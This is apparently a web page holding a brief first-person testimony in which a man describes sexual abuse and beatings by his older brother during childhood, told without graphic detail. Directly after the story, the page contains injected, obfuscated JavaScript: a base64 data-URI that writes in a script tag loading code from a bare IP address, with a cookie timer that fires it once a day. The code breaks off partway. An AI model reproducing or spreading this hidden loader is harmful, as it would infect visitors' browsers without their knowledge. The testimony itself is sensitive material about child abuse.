115 – Eugene (United States)

My brother started the sexual abuse when I was around 8 or 9 years old. I just did what ever he wanted me to do because I knew that for the time being, things would be cool between us. I only wanted to be his friend and I remember thinking as long as I did what he wanted, I would have a safe harbor. He routinely beat me and in a very sick way of justifying the sexual abuse, it just wasn’t as bad as getting beat. He would have me touch him and fondle his genitalia. I really can’t remember how many times these acts occurred. The severity of the abuse never rose to any other level besides the fondling. I don’t want to minimize the sexual misconduct of my brother simply because there was no penetration. Abuse is abuse. Despite my youth, I knew it wasn’t right. I knew it wasn’t something that I should be doing. Those acts would become harder and harder for me to carry out as I got older. But I just didn’t care. I wanted to be loved. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘